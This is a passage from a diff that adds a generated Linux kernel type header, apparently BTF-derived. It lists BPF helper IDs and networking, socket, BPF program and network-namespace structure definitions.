BPF_FUNC_send_signal = 109, + BPF_FUNC_tcp_gen_syncookie = 110, + BPF_FUNC_skb_output = 111, + BPF_FUNC_probe_read_user = 112, + BPF_FUNC_probe_read_kernel = 113, + BPF_FUNC_probe_read_user_str = 114, + BPF_FUNC_probe_read_kernel_str = 115, + BPF_FUNC_tcp_send_ack = 116, + BPF_FUNC_send_signal_thread = 117, + BPF_FUNC_jiffies64 = 118, + BPF_FUNC_read_branch_records = 119, + BPF_FUNC_get_ns_current_pid_tgid = 120, + BPF_FUNC_xdp_output = 121, + BPF_FUNC_get_netns_cookie = 122, + BPF_FUNC_get_current_ancestor_cgroup_id = 123, + BPF_FUNC_sk_assign = 124, + BPF_FUNC_ktime_get_boot_ns = 125, + BPF_FUNC_seq_printf = 126, + BPF_FUNC_seq_write = 127, + BPF_FUNC_sk_cgroup_id = 128, + BPF_FUNC_sk_ancestor_cgroup_id = 129, + BPF_FUNC_ringbuf_output = 130, + BPF_FUNC_ringbuf_reserve = 131, + BPF_FUNC_ringbuf_submit = 132, + BPF_FUNC_ringbuf_discard = 133, + BPF_FUNC_ringbuf_query = 134, + BPF_FUNC_csum_level = 135, + BPF_FUNC_skc_to_tcp6_sock = 136, + BPF_FUNC_skc_to_tcp_sock = 137, + BPF_FUNC_skc_to_tcp_timewait_sock = 138, + BPF_FUNC_skc_to_tcp_request_sock = 139, + BPF_FUNC_skc_to_udp6_sock = 140, + BPF_FUNC_get_task_stack = 141, + BPF_FUNC_load_hdr_opt = 142, + BPF_FUNC_store_hdr_opt = 143, + BPF_FUNC_reserve_hdr_opt = 144, + BPF_FUNC_inode_storage_get = 145, + BPF_FUNC_inode_storage_delete = 146, + BPF_FUNC_d_path = 147, + BPF_FUNC_copy_from_user = 148, + BPF_FUNC_snprintf_btf = 149, + BPF_FUNC_seq_printf_btf = 150, + BPF_FUNC_skb_cgroup_classid = 151, + BPF_FUNC_redirect_neigh = 152, + BPF_FUNC_per_cpu_ptr = 153, + BPF_FUNC_this_cpu_ptr = 154, + BPF_FUNC_redirect_peer = 155, + BPF_FUNC_task_storage_get = 156, + BPF_FUNC_task_storage_delete = 157, + BPF_FUNC_get_current_task_btf = 158, + BPF_FUNC_bprm_opts_set = 159, + BPF_FUNC_ktime_get_coarse_ns = 160, + BPF_FUNC_ima_inode_hash = 161, + BPF_FUNC_sock_from_file = 162, + BPF_FUNC_check_mtu = 163, + BPF_FUNC_for_each_map_elem = 164, + BPF_FUNC_snprintf = 165, + BPF_FUNC_sys_bpf = 166, + BPF_FUNC_btf_find_by_name_kind = 167, + BPF_FUNC_sys_close = 168, + BPF_FUNC_timer_init = 169, + BPF_FUNC_timer_set_callback = 170, + BPF_FUNC_timer_start = 171, + BPF_FUNC_timer_cancel = 172, + BPF_FUNC_get_func_ip = 173, + BPF_FUNC_get_attach_cookie = 174, + BPF_FUNC_task_pt_regs = 175, + BPF_FUNC_get_branch_snapshot = 176, + BPF_FUNC_trace_vprintk = 177, + BPF_FUNC_skc_to_unix_sock = 178, + BPF_FUNC_kallsyms_lookup_name = 179, + BPF_FUNC_find_vma = 180, + BPF_FUNC_loop = 181, + BPF_FUNC_strncmp = 182, + BPF_FUNC_get_func_arg = 183, + BPF_FUNC_get_func_ret = 184, + BPF_FUNC_get_func_arg_cnt = 185, + BPF_FUNC_get_retval = 186, + BPF_FUNC_set_retval = 187, + BPF_FUNC_xdp_get_buff_len = 188, + BPF_FUNC_xdp_load_bytes = 189, + BPF_FUNC_xdp_store_bytes = 190, + BPF_FUNC_copy_from_user_task = 191, + BPF_FUNC_skb_set_tstamp = 192, + BPF_FUNC_ima_file_hash = 193, + BPF_FUNC_kptr_xchg = 194, + BPF_FUNC_map_lookup_percpu_elem = 195, + BPF_FUNC_skc_to_mptcp_sock = 196, + BPF_FUNC_dynptr_from_mem = 197, + BPF_FUNC_ringbuf_reserve_dynptr = 198, + BPF_FUNC_ringbuf_submit_dynptr = 199, + BPF_FUNC_ringbuf_discard_dynptr = 200, + BPF_FUNC_dynptr_read = 201, + BPF_FUNC_dynptr_write = 202, + BPF_FUNC_dynptr_data = 203, + BPF_FUNC_tcp_raw_gen_syncookie_ipv4 = 204, + BPF_FUNC_tcp_raw_gen_syncookie_ipv6 = 205, + BPF_FUNC_tcp_raw_check_syncookie_ipv4 = 206, + BPF_FUNC_tcp_raw_check_syncookie_ipv6 = 207, + BPF_FUNC_ktime_get_tai_ns = 208, + BPF_FUNC_user_ringbuf_drain = 209, + BPF_FUNC_cgrp_storage_get = 210, + BPF_FUNC_cgrp_storage_delete = 211, + __BPF_FUNC_MAX_ID = 212, +}; + +struct xdp_md { + __u32 data; + __u32 data_end; + __u32 data_meta; + __u32 ingress_ifindex; + __u32 rx_queue_index; + __u32 egress_ifindex; +}; + +enum bpf_task_fd_type { + BPF_FD_TYPE_RAW_TRACEPOINT = 0, + BPF_FD_TYPE_TRACEPOINT = 1, + BPF_FD_TYPE_KPROBE = 2, + BPF_FD_TYPE_KRETPROBE = 3, + BPF_FD_TYPE_UPROBE = 4, + BPF_FD_TYPE_URETPROBE = 5, +}; + +struct bpf_func_info { + __u32 insn_off; + __u32 type_id; +}; + +struct bpf_line_info { + __u32 insn_off; + __u32 file_name_off; + __u32 line_off; + __u32 line_col; +}; + +struct sock_filter { + __u16 code; + __u8 jt; + __u8 jf; + __u32 k; +}; + +struct __call_single_data { + struct __call_single_node node; + smp_call_func_t func; + void *info; +}; + +typedef struct __call_single_data call_single_data_t; + +enum uprobe_filter_ctx { + UPROBE_FILTER_REGISTER = 0, + UPROBE_FILTER_UNREGISTER = 1, + UPROBE_FILTER_MMAP = 2, +}; + +struct uprobe_consumer { + int (*handler)(struct uprobe_consumer *, struct pt_regs *); + int (*ret_handler)(struct uprobe_consumer *, long unsigned int, struct pt_regs *); + bool (*filter)(struct uprobe_consumer *, enum uprobe_filter_ctx, struct mm_struct *); + struct uprobe_consumer *next; +}; + +struct raw_notifier_head { + struct notifier_block *head; +}; + +struct napi_struct; + +struct page_pool_params { + unsigned int flags; + unsigned int order; + unsigned int pool_size; + int nid; + struct device *dev; + struct napi_struct *napi; + enum dma_data_direction dma_dir; + unsigned int max_len; + unsigned int offset; + void (*init_callback)(struct page *, void *); + void *init_arg; +}; + +struct pp_alloc_cache { + u32 count; + struct page *cache[128]; +}; + +struct ptr_ring { + int producer; + spinlock_t producer_lock; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + int consumer_head; + int consumer_tail; + spinlock_t consumer_lock; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + int size; + int batch; + void **queue; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct page_pool { + struct page_pool_params p; + struct delayed_work release_dw; + void (*disconnect)(void *); + long unsigned int defer_start; + long unsigned int defer_warn; + u32 pages_state_hold_cnt; + unsigned int frag_offset; + struct page *frag_page; + long int frag_users; + u32 xdp_mem_id; + long: 64; + long: 64; + long: 64; + long: 64; + struct pp_alloc_cache alloc; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct ptr_ring ring; + atomic_t pages_state_release_cnt; + refcount_t user_cnt; + u64 destroy_cnt; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct hlist_nulls_node { + struct hlist_nulls_node *next; + struct hlist_nulls_node **pprev; +}; + +struct rhashtable; + +struct rhashtable_compare_arg { + struct rhashtable *ht; + const void *key; +}; + +typedef u32 (*rht_hashfn_t)(const void *, u32, u32); + +typedef u32 (*rht_obj_hashfn_t)(const void *, u32, u32); + +typedef int (*rht_obj_cmpfn_t)(struct rhashtable_compare_arg *, const void *); + +struct rhashtable_params { + u16 nelem_hint; + u16 key_len; + u16 key_offset; + u16 head_offset; + unsigned int max_size; + u16 min_size; + bool automatic_shrinking; + rht_hashfn_t hashfn; + rht_obj_hashfn_t obj_hashfn; + rht_obj_cmpfn_t obj_cmpfn; +}; + +struct bucket_table; + +struct rhashtable { + struct bucket_table *tbl; + unsigned int key_len; + unsigned int max_elems; + struct rhashtable_params p; + bool rhlist; + struct work_struct run_work; + struct mutex mutex; + spinlock_t lock; + atomic_t nelems; +}; + +struct bpf_run_ctx {}; + +typedef __u64 __addrpair; + +typedef __u32 __portpair; + +typedef struct { + struct net *net; +} possible_net_t; + +struct in6_addr { + union { + __u8 u6_addr8[16]; + __be16 u6_addr16[8]; + __be32 u6_addr32[4]; + } in6_u; +}; + +struct proto; + +struct inet_timewait_death_row; + +struct sock_common { + union { + __addrpair skc_addrpair; + struct { + __be32 skc_daddr; + __be32 skc_rcv_saddr; + }; + }; + union { + unsigned int skc_hash; + __u16 skc_u16hashes[2]; + }; + union { + __portpair skc_portpair; + struct { + __be16 skc_dport; + __u16 skc_num; + }; + }; + short unsigned int skc_family; + volatile unsigned char skc_state; + unsigned char skc_reuse: 4; + unsigned char skc_reuseport: 1; + unsigned char skc_ipv6only: 1; + unsigned char skc_net_refcnt: 1; + int skc_bound_dev_if; + union { + struct hlist_node skc_bind_node; + struct hlist_node skc_portaddr_node; + }; + struct proto *skc_prot; + possible_net_t skc_net; + struct in6_addr skc_v6_daddr; + struct in6_addr skc_v6_rcv_saddr; + atomic64_t skc_cookie; + union { + long unsigned int skc_flags; + struct sock *skc_listener; + struct inet_timewait_death_row *skc_tw_dr; + }; + int skc_dontcopy_begin[0]; + union { + struct hlist_node skc_node; + struct hlist_nulls_node skc_nulls_node; + }; + short unsigned int skc_tx_queue_mapping; + short unsigned int skc_rx_queue_mapping; + union { + int skc_incoming_cpu; + u32 skc_rcv_wnd; + u32 skc_tw_rcv_nxt; + }; + refcount_t skc_refcnt; + int skc_dontcopy_end[0]; + union { + u32 skc_rxhash; + u32 skc_window_clamp; + u32 skc_tw_snd_nxt; + }; +}; + +typedef struct { + spinlock_t slock; + int owned; + wait_queue_head_t wq; + struct lockdep_map dep_map; +} socket_lock_t; + +struct sk_buff; + +struct sk_buff_list { + struct sk_buff *next; + struct sk_buff *prev; +}; + +struct sk_buff_head { + union { + struct { + struct sk_buff *next; + struct sk_buff *prev; + }; + struct sk_buff_list list; + }; + __u32 qlen; + spinlock_t lock; +}; + +typedef u64 netdev_features_t; + +struct sock_cgroup_data { + struct cgroup *cgroup; + u32 classid; +}; + +typedef struct {} netns_tracker; + +struct dst_entry; + +struct sk_filter; + +struct socket_wq; + +struct xfrm_policy; + +struct socket; + +struct sock_reuseport; + +struct sock { + struct sock_common __sk_common; + struct dst_entry *sk_rx_dst; + int sk_rx_dst_ifindex; + u32 sk_rx_dst_cookie; + socket_lock_t sk_lock; + atomic_t sk_drops; + int sk_rcvlowat; + struct sk_buff_head sk_error_queue; + struct sk_buff_head sk_receive_queue; + struct { + atomic_t rmem_alloc; + int len; + struct sk_buff *head; + struct sk_buff *tail; + } sk_backlog; + int sk_forward_alloc; + u32 sk_reserved_mem; + unsigned int sk_ll_usec; + unsigned int sk_napi_id; + int sk_rcvbuf; + struct sk_filter *sk_filter; + union { + struct socket_wq *sk_wq; + struct socket_wq *sk_wq_raw; + }; + struct xfrm_policy *sk_policy[2]; + struct dst_entry *sk_dst_cache; + atomic_t sk_omem_alloc; + int sk_sndbuf; + int sk_wmem_queued; + refcount_t sk_wmem_alloc; + long unsigned int sk_tsq_flags; + union { + struct sk_buff *sk_send_head; + struct rb_root tcp_rtx_queue; + }; + struct sk_buff_head sk_write_queue; + __s32 sk_peek_off; + int sk_write_pending; + __u32 sk_dst_pending_confirm; + u32 sk_pacing_status; + long int sk_sndtimeo; + struct timer_list sk_timer; + __u32 sk_priority; + __u32 sk_mark; + long unsigned int sk_pacing_rate; + long unsigned int sk_max_pacing_rate; + struct page_frag sk_frag; + netdev_features_t sk_route_caps; + int sk_gso_type; + unsigned int sk_gso_max_size; + gfp_t sk_allocation; + __u32 sk_txhash; + u8 sk_gso_disabled: 1; + u8 sk_kern_sock: 1; + u8 sk_no_check_tx: 1; + u8 sk_no_check_rx: 1; + u8 sk_userlocks: 4; + u8 sk_pacing_shift; + u16 sk_type; + u16 sk_protocol; + u16 sk_gso_max_segs; + long unsigned int sk_lingertime; + struct proto *sk_prot_creator; + rwlock_t sk_callback_lock; + int sk_err; + int sk_err_soft; + u32 sk_ack_backlog; + u32 sk_max_ack_backlog; + kuid_t sk_uid; + u8 sk_txrehash; + u8 sk_prefer_busy_poll; + u16 sk_busy_poll_budget; + spinlock_t sk_peer_lock; + int sk_bind_phc; + struct pid *sk_peer_pid; + const struct cred *sk_peer_cred; + long int sk_rcvtimeo; + ktime_t sk_stamp; + atomic_t sk_tskey; + atomic_t sk_zckey; + u32 sk_tsflags; + u8 sk_shutdown; + u8 sk_clockid; + u8 sk_txtime_deadline_mode: 1; + u8 sk_txtime_report_errors: 1; + u8 sk_txtime_unused: 6; + bool sk_use_task_frag; + struct socket *sk_socket; + void *sk_user_data; + void *sk_security; + struct sock_cgroup_data sk_cgrp_data; + struct mem_cgroup *sk_memcg; + void (*sk_state_change)(struct sock *); + void (*sk_data_ready)(struct sock *); + void (*sk_write_space)(struct sock *); + void (*sk_error_report)(struct sock *); + int (*sk_backlog_rcv)(struct sock *, struct sk_buff *); + void (*sk_destruct)(struct sock *); + struct sock_reuseport *sk_reuseport_cb; + struct bpf_local_storage *sk_bpf_storage; + struct callback_head sk_rcu; + netns_tracker ns_tracker; + struct hlist_node sk_bind2_node; +}; + +typedef struct { + union { + void *kernel; + void *user; + }; + bool is_kernel: 1; +} sockptr_t; + +struct btf_type { + __u32 name_off; + __u32 info; + union { + __u32 size; + __u32 type; + }; +}; + +struct bpf_prog_stats; + +struct bpf_prog_aux; + +struct sock_fprog_kern; + +struct bpf_prog { + u16 pages; + u16 jited: 1; + u16 jit_requested: 1; + u16 gpl_compatible: 1; + u16 cb_access: 1; + u16 dst_needed: 1; + u16 blinding_requested: 1; + u16 blinded: 1; + u16 is_func: 1; + u16 kprobe_override: 1; + u16 has_callchain_buf: 1; + u16 enforce_expected_attach_type: 1; + u16 call_get_stack: 1; + u16 call_get_func_ip: 1; + u16 tstamp_type_access: 1; + enum bpf_prog_type type; + enum bpf_attach_type expected_attach_type; + u32 len; + u32 jited_len; + u8 tag[8]; + struct bpf_prog_stats *stats; + int *active; + unsigned int (*bpf_func)(const void *, const struct bpf_insn *); + struct bpf_prog_aux *aux; + struct sock_fprog_kern *orig_prog; + union { + struct { + struct {} __empty_insns; + struct sock_filter insns[0]; + }; + struct { + struct {} __empty_insnsi; + struct bpf_insn insnsi[0]; + }; + }; +}; + +enum btf_field_type { + BPF_SPIN_LOCK = 1, + BPF_TIMER = 2, + BPF_KPTR_UNREF = 4, + BPF_KPTR_REF = 8, + BPF_KPTR = 12, + BPF_LIST_HEAD = 16, + BPF_LIST_NODE = 32, + BPF_RB_ROOT = 64, + BPF_RB_NODE = 128, + BPF_GRAPH_NODE_OR_ROOT = 240, + BPF_REFCOUNT = 256, +}; + +typedef void (*btf_dtor_kfunc_t)(void *); + +struct btf; + +struct btf_field_kptr { + struct btf *btf; + struct module *module; + btf_dtor_kfunc_t dtor; + u32 btf_id; +}; + +struct btf_record; + +struct btf_field_graph_root { + struct btf *btf; + u32 value_btf_id; + u32 node_offset; + struct btf_record *value_rec; +}; + +struct btf_field { + u32 offset; + u32 size; + enum btf_field_type type; + union { + struct btf_field_kptr kptr; + struct btf_field_graph_root graph_root; + }; +}; + +struct btf_record { + u32 cnt; + u32 field_mask; + int spin_lock_off; + int timer_off; + int refcount_off; + struct btf_field fields[0]; +}; + +struct ref_tracker_dir {}; + +struct prot_inuse; + +struct netns_core { + struct ctl_table_header *sysctl_hdr; + int sysctl_somaxconn; + u8 sysctl_txrehash; + struct prot_inuse *prot_inuse; + struct cpumask *rps_default_mask; +}; + +struct ipstats_mib; + +struct tcp_mib; + +struct linux_mib; + +struct udp_mib; + +struct linux_tls_mib; + +struct mptcp_mib; + +struct icmp_mib; + +struct icmpmsg_mib; + +struct icmpv6_mib; + +struct icmpv6msg_mib; + +struct netns_mib { + struct ipstats_mib *ip_statistics; + struct ipstats_mib *ipv6_statistics; + struct tcp_mib *tcp_statistics; + struct linux_mib *net_statistics; + struct udp_mib *udp_statistics; + struct udp_mib *udp_stats_in6; + struct linux_tls_mib *tls_statistics; + struct mptcp_mib *mptcp_statistics; + struct udp_mib *udplite_statistics; + struct udp_mib *udplite_stats_in6; + struct icmp_mib *icmp_statistics; + struct icmpmsg_mib *icmpmsg_statistics; + struct icmpv6_mib *icmpv6_statistics; + struct icmpv6msg_mib *icmpv6msg_statistics; + struct proc_dir_entry *proc_net_devsnmp6; +}; + +struct netns_packet { + struct mutex sklist_lock; + struct hlist_head sklist; +}; + +struct unix_table { + spinlock_t *locks; + struct hlist_head *buckets; +}; + +struct netns_unix { + struct unix_table table; + int sysctl_max_dgram_qlen; + struct ctl_table_header *ctl; +}; + +struct netns_nexthop { + struct rb_root rb_root; + struct hlist_head *devhash; + unsigned int seq; + u32 last_id_allocated; + struct blocking_notifier_head notifier_chain; +}; + +struct inet_hashinfo; + +struct inet_timewait_death_row { + refcount_t tw_refcount; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct inet_hashinfo *hashinfo; + int sysctl_max_tw_buckets; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct local_ports { + seqlock_t lock; + int range[2]; + bool warned; +}; + +struct ping_group_range { + seqlock_t lock; + kgid_t range[2]; +}; + +typedef struct { + u64 key[2]; +} siphash_key_t; + +struct udp_table; + +struct ipv4_devconf; + +struct ip_ra_chain; + +struct fib_rules_ops; + +struct fib_table; + +struct inet_peer_base; + +struct fqdir; + +struct tcp_congestion_ops; + +struct tcp_fastopen_context; + +struct mr_table; + +struct fib_notifier_ops; + +struct netns_ipv4 { + struct inet_timewait_death_row tcp_death_row; + struct udp_table *udp_table; + struct ctl_table_header *forw_hdr; + struct ctl_table_header *frags_hdr; + struct ctl_table_header *ipv4_hdr; + struct ctl_table_header *route_hdr; + struct ctl_table_header *xfrm4_hdr; + struct ipv4_devconf *devconf_all; + struct ipv4_devconf *devconf_dflt; + struct ip_ra_chain *ra_chain; + struct mutex ra_mutex; + struct fib_rules_ops *rules_ops; + struct fib_table *fib_main; + struct fib_table *fib_default; + unsigned int fib_rules_require_fldissect; + bool fib_has_custom_rules; + bool fib_has_custom_local_routes; + bool fib_offload_disabled; + struct hlist_head *fib_table_hash; + struct sock *fibnl; + struct sock *mc_autojoin_sk; + struct inet_peer_base *peers; + struct fqdir *fqdir; + u8 sysctl_icmp_echo_ignore_all; + u8 sysctl_icmp_echo_enable_probe; + u8 sysctl_icmp_echo_ignore_broadcasts; + u8 sysctl_icmp_ignore_bogus_error_responses; + u8 sysctl_icmp_errors_use_inbound_ifaddr; + int sysctl_icmp_ratelimit; + int sysctl_icmp_ratemask; + u32 ip_rt_min_pmtu; + int ip_rt_mtu_expires; + int ip_rt_min_advmss; + struct local_ports ip_local_ports; + u8 sysctl_tcp_ecn; + u8 sysctl_tcp_ecn_fallback; + u8 sysctl_ip_default_ttl; + u8 sysctl_ip_no_pmtu_disc; + u8 sysctl_ip_fwd_use_pmtu; + u8 sysctl_ip_fwd_update_priority; + u8 sysctl_ip_nonlocal_bind; + u8 sysctl_ip_autobind_reuse; + u8 sysctl_ip_dynaddr; + u8 sysctl_ip_early_demux; + u8 sysctl_raw_l3mdev_accept; + u8 sysctl_tcp_early_demux; + u8 sysctl_udp_early_demux; + u8 sysctl_nexthop_compat_mode; + u8 sysctl_fwmark_reflect; + u8 sysctl_tcp_fwmark_accept; + u8 sysctl_tcp_l3mdev_accept; + u8 sysctl_tcp_mtu_probing; + int sysctl_tcp_mtu_probe_floor; + int sysctl_tcp_base_mss; + int sysctl_tcp_min_snd_mss; + int sysctl_tcp_probe_threshold; + u32 sysctl_tcp_probe_interval; + int sysctl_tcp_keepalive_time; + int sysctl_tcp_keepalive_intvl; + u8 sysctl_tcp_keepalive_probes; + u8 sysctl_tcp_syn_retries; + u8 sysctl_tcp_synack_retries; + u8 sysctl_tcp_syncookies; + u8 sysctl_tcp_migrate_req; + u8 sysctl_tcp_comp_sack_nr; + int sysctl_tcp_reordering; + u8 sysctl_tcp_retries1; + u8 sysctl_tcp_retries2; + u8 sysctl_tcp_orphan_retries; + u8 sysctl_tcp_tw_reuse; + int sysctl_tcp_fin_timeout; + unsigned int sysctl_tcp_notsent_lowat; + u8 sysctl_tcp_sack; + u8 sysctl_tcp_window_scaling; + u8 sysctl_tcp_timestamps; + u8 sysctl_tcp_early_retrans; + u8 sysctl_tcp_recovery; + u8 sysctl_tcp_thin_linear_timeouts; + u8 sysctl_tcp_slow_start_after_idle; + u8 sysctl_tcp_retrans_collapse; + u8 sysctl_tcp_stdurg; + u8 sysctl_tcp_rfc1337; + u8 sysctl_tcp_abort_on_overflow; + u8 sysctl_tcp_fack; + int sysctl_tcp_max_reordering; + int sysctl_tcp_adv_win_scale; + u8 sysctl_tcp_dsack; + u8 sysctl_tcp_app_win; + u8 sysctl_tcp_frto; + u8 sysctl_tcp_nometrics_save; + u8 sysctl_tcp_no_ssthresh_metrics_save; + u8 sysctl_tcp_moderate_rcvbuf; + u8 sysctl_tcp_tso_win_divisor; + u8 sysctl_tcp_workaround_signed_windows; + int sysctl_tcp_limit_output_bytes; + int sysctl_tcp_challenge_ack_limit; + int sysctl_tcp_min_rtt_wlen; + u8 sysctl_tcp_min_tso_segs; + u8 sysctl_tcp_tso_rtt_log; + u8 sysctl_tcp_autocorking; + u8 sysctl_tcp_reflect_tos; + int sysctl_tcp_invalid_ratelimit; + int sysctl_tcp_pacing_ss_ratio; + int sysctl_tcp_pacing_ca_ratio; + int sysctl_tcp_wmem[3]; + int sysctl_tcp_rmem[3]; + unsigned int sysctl_tcp_child_ehash_entries; + long unsigned int sysctl_tcp_comp_sack_delay_ns; + long unsigned int sysctl_tcp_comp_sack_slack_ns; + int sysctl_max_syn_backlog; + int sysctl_tcp_fastopen; + const struct tcp_congestion_ops *tcp_congestion_control; + struct tcp_fastopen_context *tcp_fastopen_ctx; + unsigned int sysctl_tcp_fastopen_blackhole_timeout; + atomic_t tfo_active_disable_times; + long unsigned int tfo_active_disable_stamp; + u32 tcp_challenge_timestamp; + u32 tcp_challenge_count; + u8 sysctl_tcp_plb_enabled; + u8 sysctl_tcp_plb_idle_rehash_rounds; + u8 sysctl_tcp_plb_rehash_rounds; + u8 sysctl_tcp_plb_suspend_rto_sec; + int sysctl_tcp_plb_cong_thresh; + int sysctl_udp_wmem_min; + int sysctl_udp_rmem_min; + u8 sysctl_fib_notify_on_flag_change; + u8 sysctl_tcp_syn_linear_timeouts; + u8 sysctl_udp_l3mdev_accept; + u8 sysctl_igmp_llm_reports; + int sysctl_igmp_max_memberships; + int sysctl_igmp_max_msf; + int sysctl_igmp_qrv; + struct ping_group_range ping_group_range; + atomic_t dev_addr_genid; + unsigned int sysctl_udp_child_hash_entries; + long unsigned int *sysctl_local_reserved_ports; + int sysctl_ip_prot_sock; + struct mr_table *mrt; + u32 sysctl_fib_multipath_hash_fields; + u8 sysctl_fib_multipath_use_neigh; + u8 sysctl_fib_multipath_hash_policy; + struct fib_notifier_ops *notifier_ops; + unsigned int fib_seq; + struct fib_notifier_ops *ipmr_notifier_ops; + unsigned int ipmr_seq; + atomic_t rt_genid; + siphash_key_t ip_id_key; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct net_device; + +struct neighbour; + +struct dst_ops { + short unsigned int family; + unsigned int gc_thresh; + void (*gc)(struct dst_ops *); + struct dst_entry * (*check)(struct dst_entry *, __u32); + unsigned int (*default_advmss)(const struct dst_entry *); + unsigned int (*mtu)(const struct dst_entry *); + u32 * (*cow_metrics)(struct dst_entry *, long unsigned int); + void (*destroy)(struct dst_entry *); + void (*ifdown)(struct dst_entry *, struct net_device *, int); + struct dst_entry * (*negative_advice)(struct dst_entry *); + void (*link_failure)(struct sk_buff *); + void (*update_pmtu)(struct dst_entry *, struct sock *, struct sk_buff *, u32, bool); + void (*redirect)(struct dst_entry *, struct sock *, struct sk_buff *); + int (*local_out)(struct net *, struct sock *, struct sk_buff *); + struct neighbour * (*neigh_lookup)(const struct dst_entry *, struct sk_buff *, const void *); + void (*confirm_neigh)(const struct dst_entry *, const void *); + struct kmem_cache *kmem_cachep; + struct percpu_counter pcpuc_entries; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct netns_sysctl_ipv6 { + struct ctl_table_header *hdr; + struct ctl_table_header *route_hdr; + struct ctl_table_header *icmp_hdr; + struct ctl_table_header *frags_hdr; + struct ctl_table_header *xfrm6_hdr; + int flush_delay; + int ip6_rt_max_size; + int ip6_rt_gc_min_interval; + int ip6_rt_gc_timeout; + int ip6_rt_gc_interval; + int ip6_rt_gc_elasticity; + int ip6_rt_mtu_expires; + int ip6_rt_min_advmss; + u32 multipath_hash_fields; + u8 multipath_hash_policy; + u8 bindv6only; + u8 flowlabel_consistency; + u8 auto_flowlabels; + int icmpv6_time; + u8 icmpv6_echo_ignore_all; + u8 icmpv6_echo_ignore_multicast; + u8 icmpv6_echo_ignore_anycast; + long unsigned int icmpv6_ratemask[4]; + long unsigned int *icmpv6_ratemask_ptr; + u8 anycast_src_echo_reply; + u8 ip_nonlocal_bind; + u8 fwmark_reflect; + u8 flowlabel_state_ranges; + int idgen_retries; + int idgen_delay; + int flowlabel_reflect; + int max_dst_opts_cnt; + int max_hbh_opts_cnt; + int max_dst_opts_len; + int max_hbh_opts_len; + int seg6_flowlabel; + u32 ioam6_id; + u64 ioam6_id_wide; + bool skip_notify_on_dev_down; + u8 fib_notify_on_flag_change; + u8 icmpv6_error_anycast_as_unicast; +}; + +struct ipv6_devconf; + +struct fib6_info; + +struct rt6_info; + +struct rt6_statistics; + +struct fib6_table; + +struct seg6_pernet_data; + +struct ioam6_pernet_data; + +struct netns_ipv6 { + struct dst_ops ip6_dst_ops; + struct netns_sysctl_ipv6 sysctl; + struct ipv6_devconf *devconf_all; + struct ipv6_devconf *devconf_dflt; + struct inet_peer_base *peers; + struct fqdir *fqdir; + struct fib6_info *fib6_null_entry; + struct rt6_info *ip6_null_entry; + struct rt6_statistics *rt6_stats; + struct timer_list ip6_fib_timer; + struct hlist_head *fib_table_hash; + struct fib6_table *fib6_main_tbl; + struct list_head fib6_walkers; + rwlock_t fib6_walker_lock; + spinlock_t fib6_gc_lock; + atomic_t ip6_rt_gc_expire; + long unsigned int ip6_rt_last_gc; + unsigned char flowlabel_has_excl; + bool fib6_has_custom_rules; + unsigned int fib6_rules_require_fldissect; + unsigned int fib6_routes_require_src; + struct rt6_info *ip6_prohibit_entry; + struct rt6_info *ip6_blk_hole_entry; + struct fib6_table *fib6_local_tbl; + struct fib_rules_ops *fib6_rules_ops; + struct sock *ndisc_sk; + struct sock *tcp_sk; + struct sock *igmp_sk; + struct sock *mc_autojoin_sk; + struct hlist_head *inet6_addr_lst; + spinlock_t addrconf_hash_lock; + struct delayed_work addr_chk_work; + atomic_t dev_addr_genid; + atomic_t fib6_sernum; + struct seg6_pernet_data *seg6_data; + struct fib_notifier_ops *notifier_ops; + struct fib_notifier_ops *ip6mr_notifier_ops; + unsigned int ipmr_seq; + struct { + struct hlist_head head; + spinlock_t lock; + u32 seq; + } ip6addrlbl_table; + struct ioam6_pernet_data *ioam6_data; + long: 64; + long: 64; +}; + +struct nf_logger; + +struct nf_hook_entries; + +struct netns_nf { + struct proc_dir_entry *proc_netfilter; + const struct nf_logger *nf_loggers[11]; + struct ctl_table_header *nf_log_dir_header; + struct nf_hook_entries *hooks_ipv4[5]; + struct nf_hook_entries *hooks_ipv6[5]; + unsigned int defrag_ipv4_users; + unsigned int defrag_ipv6_users; +}; + +struct nf_ct_event_notifier; + +struct nf_generic_net { + unsigned int timeout; +}; + +struct nf_tcp_net { + unsigned int timeouts[14]; + u8 tcp_loose; + u8 tcp_be_liberal; + u8 tcp_max_retrans; + u8 tcp_ignore_invalid_rst; +}; + +struct nf_udp_net { + unsigned int timeouts[2]; +}; + +struct nf_icmp_net { + unsigned int timeout; +}; + +struct nf_dccp_net { + u8 dccp_loose; + unsigned int dccp_timeout[10]; +}; + +struct nf_sctp_net { + unsigned int timeouts[10]; +}; + +struct nf_ip_net { + struct nf_generic_net generic; + struct nf_tcp_net tcp; + struct nf_udp_net udp; + struct nf_icmp_net icmp; + struct nf_icmp_net icmpv6; + struct nf_dccp_net dccp; + struct nf_sctp_net sctp; +}; + +struct ip_conntrack_stat; + +struct netns_ct { + u8 sysctl_log_invalid; + u8 sysctl_events; + u8 sysctl_acct; + u8 sysctl_tstamp; + u8 sysctl_checksum; + struct ip_conntrack_stat *stat; + struct nf_ct_event_notifier *nf_conntrack_event_cb; + struct nf_ip_net nf_ct_proto; +}; + +struct netns_bpf { + struct bpf_prog_array *run_array[2]; + struct bpf_prog *progs[2]; + struct list_head links[2]; +}; + +struct xfrm_policy_hash { + struct hlist_head *table; + unsigned int hmask; + u8 dbits4; + u8 sbits4; + u8 dbits6; + u8 sbits6; +}; + +struct xfrm_policy_hthresh { + struct work_struct work; + seqlock_t lock; + u8 lbits4; + u8 rbits4; + u8 lbits6; + u8 rbits6; +}; + +struct netns_xfrm { + struct list_head state_all; + struct hlist_head *state_bydst; + struct hlist_head *state_bysrc; + struct hlist_head *state_byspi; + struct hlist_head *state_byseq; + unsigned int state_hmask; + unsigned int state_num; + struct work_struct state_hash_work; + struct list_head policy_all; + struct hlist_head *policy_byidx; + unsigned int policy_idx_hmask; + struct hlist_head policy_inexact[3]; + struct xfrm_policy_hash policy_bydst[3]; + unsigned int policy_count[6]; + struct work_struct policy_hash_work; + struct 